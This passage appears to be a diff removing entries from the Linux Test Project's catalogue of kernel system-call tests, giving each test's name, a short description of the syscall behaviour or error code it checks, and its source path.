-		ltp/testcases/kernel/syscalls/chmod/chmod07.c
-	<\test_location>
-<\testname>
-<testname=chown01>
-	<description>
-		Basic test for chown(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chown/chown01.c
-	<\test_location>
-<\testname>
-<testname=chown02>
-	<description>
-		Verify that, when chown(2) invoked by super-user to change the owner and
-		group of a file specified by path to any numeric owner(uid)/group(gid)
-		values,
-		- clears setuid and setgid bits set on an executable file.
-		- preserves setgid bit set on a non-group-executable file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chown/chown02.c
-	<\test_location>
-<\testname>
-<testname=chown03>
-	<description>
-		Verify that, chown(2) succeeds to change the group of a file specified
-		by path when called by non-root user with the following constraints,
-		- euid of the process is equal to the owner of the file.
-		- the intended gid is either egid, or one of the supplementary gids
-		of the process.
-		Also, verify that chown() clears the setuid/setgid bits set on the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chown/chown03.c
-	<\test_location>
-<\testname>
-<testname=chown04>
-	<description>
-		Verify that,
-		1) chown(2) returns -1 and sets errno to EPERM if the effective user id
-		of process does not match the owner of the file and the process is
-		not super user.
-		2) chown(2) returns -1 and sets errno to EACCES if search permission is
-		denied on a component of the path prefix.
-		3) chown(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) chown(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component is too long.
-		5) chown(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-		6) chown(2) returns -1 and sets errno to ENOENT if the specified file
-		does not exists.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chown/chown04.c
-	<\test_location>
-<\testname>
-<testname=chown05>
-	<description>
-		Verify that, chown(2) succeeds to change the owner and group of a file
-		specified by path to any numeric owner(uid)/group(gid) values when invoked
-		by super-user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chown/chown05.c
-	<\test_location>
-<\testname>
-<testname=chroot01>
-	<description>
-		Testcase to check the whether chroot sets errno to EPERM.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chroot/chroot01.c
-	<\test_location>
-<\testname>
-<testname=chroot02>
-	<description>
-		Test functionality of chroot(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chroot/chroot02.c
-	<\test_location>
-<\testname>
-<testname=chroot03>
-	<description>
-		Testcase to test whether chroot(2) sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chroot/chroot03.c
-	<\test_location>
-<\testname>
-<testname=clone01>
-	<description>
-		Basic test for clone(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone01.c
-	<\test_location>
-<\testname>
-<testname=clone02>
-	<description>
-		Functionality tests for clone(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone02.c
-	<\test_location>
-<\testname>
-<testname=clone03>
-	<description>
-		Test for clone(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone03.c
-	<\test_location>
-<\testname>
-<testname=clone04>
-	<description>
-		Test for checking error conditions for clone(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone04.c
-	<\test_location>
-<\testname>
-<testname=clone05>
-	<description>
-		Test for CLONE_VFORK flag
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone05.c
-	<\test_location>
-<\testname>
-<testname=clone06>
-	<description>
-		Test to verify inheritance of environment variables.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/clone/clone06.c
-	<\test_location>
-<\testname>
-<testname=close01>
-	<description>
-		Test that closing a regular file and a pipe works correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/close/close01.c
-	<\test_location>
-<\testname>
-<testname=close02>
-	<description>
-		Check that an invalid file descriptor returns EBADF
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/close/close02.c
-	<\test_location>
-<\testname>
-<testname=close08>
-	<description>
-		Basic test for close(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/close/close08.c
-	<\test_location>
-<\testname>
-<testname=confstr01>
-	<description>
-		Basic test for confstr().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/confstr/confstr01.c
-	<\test_location>
-<\testname>
-<testname=connect01>
-	<description>
-		Verify that connect() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/connect/connect01.c
-	<\test_location>
-<\testname>
-<testname=creat01>
-	<description>
-		Testcase to check the basic functionality of the creat(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat01.c
-	<\test_location>
-<\testname>
-<testname=creat03>
-	<description>
-		Testcase to check whether the sticky bit cleared.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat03.c
-	<\test_location>
-<\testname>
-<testname=creat04>
-	<description>
-		Testcase to check creat(2) fails with EACCES
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat04.c
-	<\test_location>
-<\testname>
-<testname=creat05>
-	<description>
-		Testcase to check that creat(2) system call returns EMFILE.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat05.c
-	<\test_location>
-<\testname>
-<testname=creat06>
-	<description>
-		Testcase to check creat(2) sets the following errnos correctly:
-		1. EISDIR
-		2. ENAMETOOLONG
-		3. ENOENT
-		4. ENOTDIR
-		5. EFAULT
-		6. EACCES
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat06.c
-	<\test_location>
-<\testname>
-<testname=creat07>
-	<description>
-		Testcase to check creat(2) sets the following errnos correctly:
-		1. ETXTBSY
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat07.c
-	<\test_location>
-<\testname>
-<testname=creat08>
-	<description>
-		Verifies that the group ID and setgid bit are set correctly when
-		a new file is created.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/creat/creat08.c
-	<\test_location>
-<\testname>
-<testname=dup01>
-	<description>
-		Basic test for dup(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup01.c
-	<\test_location>
-<\testname>
-<testname=dup02>
-	<description>
-		Negative test for dup(2) with bad fd.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup02.c
-	<\test_location>
-<\testname>
-<testname=dup03>
-	<description>
-		Negative test for dup(2) (too many fds).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup03.c
-	<\test_location>
-<\testname>
-<testname=dup04>
-	<description>
-		Basic test for dup(2) of a system pipe descriptor.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup04.c
-	<\test_location>
-<\testname>
-<testname=dup05>
-	<description>
-		Basic test for dup(2) of a named pipe descriptor.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup05.c
-	<\test_location>
-<\testname>
-<testname=dup06>
-	<description>
-		Test if dup returns -1 on the 21st file when _NFILE is 20.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup06.c
-	<\test_location>
-<\testname>
-<testname=dup07>
-	<description>
-		Test if the access mode is the same for both file descriptors.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup/dup07.c
-	<\test_location>
-<\testname>
-<testname=dup201>
-	<description>
-		Negative tests for dup2() with bad fd (EBADF), and for "too many
-		open files" (EMFILE)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup2/dup201.c
-	<\test_location>
-<\testname>
-<testname=dup202>
-	<description>
-		Is the access mode the same for both file descriptors?
-		0: read only ? "0444"
-		1: write only ? "0222"
-		2: read/write ? "0666"
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup2/dup202.c
-	<\test_location>
-<\testname>
-<testname=dup203>
-	<description>
-		Testcase to check the basic functionality of dup2().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup2/dup203.c
-	<\test_location>
-<\testname>
-<testname=dup204>
-	<description>
-		Testcase to check the basic functionality of dup2(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup2/dup204.c
-	<\test_location>
-<\testname>
-<testname=dup205>
-	<description>
-		Testcase to check if -1 is returned on the 21st file when _NFILE is 20.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/dup2/dup205.c
-	<\test_location>
-<\testname>
-<testname=execl01>
-	<description>
-		Basic test for execl(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execl/execl01.c
-	<\test_location>
-<\testname>
-<testname=execle01>
-	<description>
-		Basic test for execle(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execle/execle01.c
-	<\test_location>
-<\testname>
-<testname=execlp01>
-	<description>
-		Basic test for execlp(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execlp/execlp01.c
-	<\test_location>
-<\testname>
-<testname=execv01>
-	<description>
-		Basic test for execv(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execv/execv01.c
-	<\test_location>
-<\testname>
-<testname=execve01>
-	<description>
-		Basic test for execve(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execve/execve01.c
-	<\test_location>
-<\testname>
-<testname=execve02>
-	<description>
-		Testcase to check whether execve(2) sets errno to EACCES correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execve/execve02.c
-	<\test_location>
-<\testname>
-<testname=execve03>
-	<description>
-		Testcase to check execve sets the following errnos correctly:
-		1. ENAMETOOLONG
-		2. ENOENT
-		3. ENOTDIR
-		4. EFAULT
-		5. EACCES
-		6. ENOEXEC
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execve/execve03.c
-	<\test_location>
-<\testname>
-<testname=execve04>
-	<description>
-		Testcase to check execve(2) sets errno to EMFILE correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execve/execve04.c
-	<\test_location>
-<\testname>
-<testname=execve05>
-	<description>
-		Testcase to check execve sets the following errnos correctly:
-		1. ETXTBSY
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execve/execve05.c
-	<\test_location>
-<\testname>
-<testname=execvp01>
-	<description>
-		Basic test for execvp(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/execvp/execvp01.c
-	<\test_location>
-<\testname>
-<testname=exit01>
-	<description>
-		Check that exit returns the correct values to the waiting parent
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/exit/exit01.c
-	<\test_location>
-<\testname>
-<testname=exit02>
-	<description>
-		Check that exit flushes output file buffers and closes files upon
-		exitting
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/exit/exit02.c
-	<\test_location>
-<\testname>
-<testname=fchdir01>
-	<description>
-		create a directory and cd into it.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchdir/fchdir01.c
-	<\test_location>
-<\testname>
-<testname=fchdir02>
-	<description>
-		try to cd into a bad directory (bad fd).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchdir/fchdir02.c
-	<\test_location>
-<\testname>
-<testname=fchmod01>
-	<description>
-		Basic test for Fchmod(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod01.c
-	<\test_location>
-<\testname>
-<testname=fchmod02>
-	<description>
-		Verify that, fchmod(2) will succeed to change the mode of a file/directory
-		set the sticky bit on it if invoked by root (uid = 0) process with
-		the following constraints,
-		- the process is not the owner of the file/directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the file/directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod02.c
-	<\test_location>
-<\testname>
-<testname=fchmod03>
-	<description>
-		Verify that, fchmod(2) will succeed to change the mode of a file
-		and set the sticky bit on it if invoked by non-root (uid != 0)
-		process with the following constraints,
-		- the process is the owner of the file.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod03.c
-	<\test_location>
-<\testname>
-<testname=fchmod04>
-	<description>
-		Verify that, fchmod(2) will succeed to change the mode of a directory
-		and set the sticky bit on it if invoked by non-root (uid != 0) process
-		with the following constraints,
-		- the process is the owner of the directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod04.c
-	<\test_location>
-<\testname>
-<testname=fchmod05>
-	<description>
-		Verify that, fchmod(2) will succeed to change the mode of a directory
-		but fails to set the setgid bit on it if invoked by non-root (uid != 0)
-		process with the following constraints,
-		- the process is the owner of the directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is not equal to the group ID of the directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod05.c
-	<\test_location>
-<\testname>
-<testname=fchmod06>
-	<description>
-		Verify that,
-		1) fchmod(2) returns -1 and sets errno to EPERM if the effective user id
-		of process does not match the owner of the file and the process is
-		not super user.
-		2) fchmod(2) returns -1 and sets errno to EBADF if the file descriptor
-		of the specified file is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod06.c
-	<\test_location>
-<\testname>
-<testname=fchmod07>
-	<description>
-		Verify that, fchmod(2) succeeds when used to change the mode permissions
-		of a file specified by file descriptor.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchmod/fchmod07.c
-	<\test_location>
-<\testname>
-<testname=fchown01>
-	<description>
-		Basic test for fchown(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchown/fchown01.c
-	<\test_location>
-<\testname>
-<testname=fchown02>
-	<description>
-		Verify that, when fchown(2) invoked by super-user to change the owner and
-		group of a file specified by file descriptor to any numeric
-		owner(uid)/group(gid) values,
-		- clears setuid and setgid bits set on an executable file.
-		- preserves setgid bit set on a non-group-executable file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchown/fchown02.c
-	<\test_location>
-<\testname>
-<testname=fchown03>
-	<description>
-		Verify that, fchown(2) succeeds to change the group of a file specified
-		by path when called by non-root user with the following constraints,
-		- euid of the process is equal to the owner of the file.
-		- the intended gid is either egid, or one of the supplementary gids
-		of the process.
-		Also, verify that fchown() clears the setuid/setgid bits set on the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchown/fchown03.c
-	<\test_location>
-<\testname>
-<testname=fchown04>
-	<description>
-		Verify that,
-		1) fchown(2) returns -1 and sets errno to EPERM if the effective user id
-		of process does not match the owner of the file and the process is
-		not super user.
-		2) fchown(2) returns -1 and sets errno to EBADF if the file descriptor
-		of the specified file is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchown/fchown04.c
-	<\test_location>
-<\testname>
-<testname=fchown05>
-	<description>
-		Verify that, fchown(2) succeeds to change the owner and group of a file
-		specified by file descriptor to any numeric owner(uid)/group(gid) values
-		when invoked by super-user.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fchown/fchown05.c
-	<\test_location>
-<\testname>
-<testname=fcntl01>
-	<description>
-		Test F_DUPFD, F_SETFL cmds of fcntl
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl01.c
-	<\test_location>
-<\testname>
-<testname=fcntl02>
-	<description>
-		Basic test for fcntl(2) using F_DUPFD argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl02.c
-	<\test_location>
-<\testname>
-<testname=fcntl03>
-	<description>
-		Basic test for fcntl(2) using F_GETFD argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl03.c
-	<\test_location>
-<\testname>
-<testname=fcntl04>
-	<description>
-		Basic test for fcntl(2) using F_GETFL argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl04.c
-	<\test_location>
-<\testname>
-<testname=fcntl05>
-	<description>
-		Basic test for fcntl(2) using F_GETLK argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl05.c
-	<\test_location>
-<\testname>
-<testname=fcntl06>
-	<description>
-		Error checking conditions for remote locking of regions of a file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl06.c
-	<\test_location>
-<\testname>
-<testname=fcntl07>
-	<description>
-		Close-On-Exec functional test.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl07.c
-	<\test_location>
-<\testname>
-<testname=fcntl07B>
-	<description>
-		Close-On-Exec of named pipe functional test.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl07B.c
-	<\test_location>
-<\testname>
-<testname=fcntl08>
-	<description>
-		Basic test for fcntl(2) using F_SETFL argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl08.c
-	<\test_location>
-<\testname>
-<testname=fcntl09>
-	<description>
-		Basic test for fcntl(2) using F_SETLK argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl09.c
-	<\test_location>
-<\testname>
-<testname=fcntl10>
-	<description>
-		Basic test for fcntl(2) using F_SETLKW argument.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl10.c
-	<\test_location>
-<\testname>
-<testname=fcntl11>
-	<description>
-		Testcase to check locking of regions of a file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl11.c
-	<\test_location>
-<\testname>
-<testname=fcntl12>
-	<description>
-		Testcase to test that fcntl() sets EMFILE for F_DUPFD command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl12.c
-	<\test_location>
-<\testname>
-<testname=fcntl13>
-	<description>
-		Testcase to test that fcntl() sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl13.c
-	<\test_location>
-<\testname>
-<testname=fcntl14>
-	<description>
-		File locking test cases for fcntl. In Linux, S_ENFMT is not implemented
-		in the kernel. However all standard Unix kernels define S_ENFMT as
-		S_ISGID. So this test defines S_ENFMT as S_ISGID.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl14.c
-	<\test_location>
-<\testname>
-<testname=fcntl15>
-	<description>
-		Check that file locks are removed when file closed
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl15.c
-	<\test_location>
-<\testname>
-<testname=fcntl16>
-	<description>
-		Additional file locking test cases for checking proper notifictaion
-		of processes on lock change
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl16.c
-	<\test_location>
-<\testname>
-<testname=fcntl17>
-	<description>
-		Check deadlock detection for file locking
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl17.c
-	<\test_location>
-<\testname>
-<testname=fcntl18>
-	<description>
-		Test to check the error conditions in fcntl system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl18.c
-	<\test_location>
-<\testname>
-<testname=fcntl19>
-	<description>
-		Testcase to check locking of regions of a file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl19.c
-	<\test_location>
-<\testname>
-<testname=fcntl20>
-	<description>
-		Check locking of regions of a file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl20.c
-	<\test_location>
-<\testname>
-<testname=fcntl21>
-	<description>
-		Check locking of regions of a file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fcntl/fcntl21.c
-	<\test_location>
-<\testname>
-<testname=fdatasync01>
-	<description>
-		Basic test for fdatasync(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fdatasync/fdatasync01.c
-	<\test_location>
-<\testname>
-<testname=fdatasync02>
-	<description>
-		Checking error conditions for fdatasync(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fdatasync/fdatasync02.c
-	<\test_location>
-<\testname>
-<testname=flock01>
-	<description>
-		Basic test for flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock01.c
-	<\test_location>
-<\testname>
-<testname=flock02>
-	<description>
-		Error condition test for flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock02.c
-	<\test_location>
-<\testname>
-<testname=flock03>
-	<description>
-		Error condition test for flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock03.c
-	<\test_location>
-<\testname>
-<testname=flock04>
-	<description>
-		Testing different locks on flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock04.c
-	<\test_location>
-<\testname>
-<testname=flock05>
-	<description>
-		Testing different locks on flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock05.c
-	<\test_location>
-<\testname>
-<testname=flock06>
-	<description>
-		Error condition test for flock(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/flock/flock06.c
-	<\test_location>
-<\testname>
-<testname=fmtmsg01>
-	<description>
-		Basic test of fmtmsg().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fmtmsg/fmtmsg01.c
-	<\test_location>
-<\testname>
-<testname=fork01>
-	<description>
-		Basic test for fork(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork01.c
-	<\test_location>
-<\testname>
-<testname=fork02>
-	<description>
-		Test correct operation of fork:
-		pid == 0 in child;
-		pid > 0 in parent from wait;
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork02.c
-	<\test_location>
-<\testname>
-<testname=fork03>
-	<description>
-		Check that child can use a large text space and do a large
-		number of operations.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork03.c
-	<\test_location>
-<\testname>
-<testname=fork04>
-	<description>
-		Child inheritance of Environment Variables after fork().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork04.c
-	<\test_location>
-<\testname>
-<testname=fork05>
-	<description>
-		Make sure LDT is propagated correctly
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork05.c
-	<\test_location>
-<\testname>
-<testname=fork06>
-	<description>
-		Test that a process can fork children a large number of
-		times in succession
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork06.c
-	<\test_location>
-<\testname>
-<testname=fork07>
-	<description>
-		Check that all children inherit parent's file descriptor
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork07.c
-	<\test_location>
-<\testname>
-<testname=fork08>
-	<description>
-		Check if the parent's file descriptors are affected by
-		actions in the child; they should not be.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork08.c
-	<\test_location>
-<\testname>
-<testname=fork09>
-	<description>
-		Check that child has access to a full set of files.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork09.c
-	<\test_location>
-<\testname>
-<testname=fork10>
-	<description>
-		Check inheritance of file descriptor by children, they
-		should all be refering to the same file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork10.c
-	<\test_location>
-<\testname>
-<testname=fork11>
-	<description>
-		Test that parent gets a pid from each child when doing wait
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork11.c
-	<\test_location>
-<\testname>
-<testname=fork12>
-	<description>
-		Check that all children inherit parent's file descriptor
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fork/fork12.c
-	<\test_location>
-<\testname>
-<testname=fpathconf>
-	<description>
-		Basic test for fpathconf(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fpathconf
-	<\test_location>
-<\testname>
-<testname=fstat01>
-	<description>
-		Basic test for fstat(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstat/fstat01.c
-	<\test_location>
-<\testname>
-<testname=fstat02>
-	<description>
-		Verify that, fstat(2) succeeds to get the status of a file and fills
-		the stat structure elements though file pointed to by file descriptor
-		not opened for reading.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstat/fstat02.c
-	<\test_location>
-<\testname>
-<testname=fstat03>
-	<description>
-		Verify that, fstat(2) returns -1 and sets errno to EBADF if the file
-		pointed to by file descriptor is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstat/fstat03.c
-	<\test_location>
-<\testname>
-<testname=fstat05>
-	<description>
-		Verify that, if buffer points outside user's accessible address space
-		fstat(2) either returns -1 and sets errno to EFAULT or
-		SIGSEGV is returned instead of EFAULT.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstat/fstat05.c
-	<\test_location>
-<\testname>
-<testname=fstatfs01>
-	<description>
-		Basic test for fstatfs(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstatfs/fstatfs01.c
-	<\test_location>
-<\testname>
-<testname=fstatfs02>
-	<description>
-		Testcase to check fstatfs() sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fstatfs/fstatfs02.c
-	<\test_location>
-<\testname>
-<testname=fsync01>
-	<description>
-		Basic test for fsync(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fsync/fsync01.c
-	<\test_location>
-<\testname>
-<testname=fsync02>
-	<description>
-		Create a sparse file, fsync it, and time the fsync
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fsync/fsync02.c
-	<\test_location>
-<\testname>
-<testname=fsync03>
-	<description>
-		Testcase to check that fsync(2) sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/fsync/fsync03.c
-	<\test_location>
-<\testname>
-<testname=ftruncate01>
-	<description>
-		Verify that, ftruncate(2) succeeds to truncate a file to a specified
-		length if the file indicated by file descriptor opened for writing.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ftruncate/ftruncate01.c
-	<\test_location>
-<\testname>
-<testname=ftruncate02>
-	<description>
-		Verify that, ftruncate(2) succeeds to truncate a file to a certain length,
-		but the attempt to read past the truncated length will fail.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ftruncate/ftruncate02.c
-	<\test_location>
-<\testname>
-<testname=ftruncate03>
-	<description>
-		Verify that,
-		1) ftruncate(2) returns -1 and sets errno to EINVAL if the specified
-		truncate length is less than 0.
-		2) ftruncate(2) returns -1 and sets errno to EBADF if the file descriptor
-		of the specified file is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ftruncate/ftruncate03.c
-	<\test_location>
-<\testname>
-<testname=ftruncate04>
-	<description>
-		Test ftruncate/truncate and mandatory record locking.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ftruncate/ftruncate04.c
-	<\test_location>
-<\testname>
-<testname=getcwd01>
-	<description>
-		Testcase to test that getcwd(2) sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getcwd/getcwd01.c
-	<\test_location>
-<\testname>
-<testname=getcwd02>
-	<description>
-		Testcase to check the basic functionality of the getcwd(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getcwd/getcwd02.c
-	<\test_location>
-<\testname>
-<testname=getcwd03>
-	<description>
-		Testcase to check the basic functionality of the getcwd(2) system call
-		for symbolically linked directories.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getcwd/getcwd03.c
-	<\test_location>
-<\testname>
-<testname=getdents01>
-	<description>
-		get a directory entry
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getdents/getdents01.c
-	<\test_location>
-<\testname>
-<testname=getdents02>
-	<description>
-		check that we get a failure with a bad file descriptor
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getdents/getdents02.c
-	<\test_location>
-<\testname>
-<testname=getdents03>
-	<description>
-		check for an EINVAL error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getdents/getdents03.c
-	<\test_location>
-<\testname>
-<testname=getdents04>
-	<description>
-		check for an ENOTDIR error
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getdents/getdents04.c
-	<\test_location>
-<\testname>
-<testname=getdents05>
-	<description>
-		check that we get a failure with a bad dirp address.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=getdomainname01>
-	<description>
-		Basic test for getdomainname().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getdomainname/getdomainname01.c
-	<\test_location>
-<\testname>
-<testname=getegid01>
-	<description>
-		Basic test for getegid(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/getegid/getegid01.c
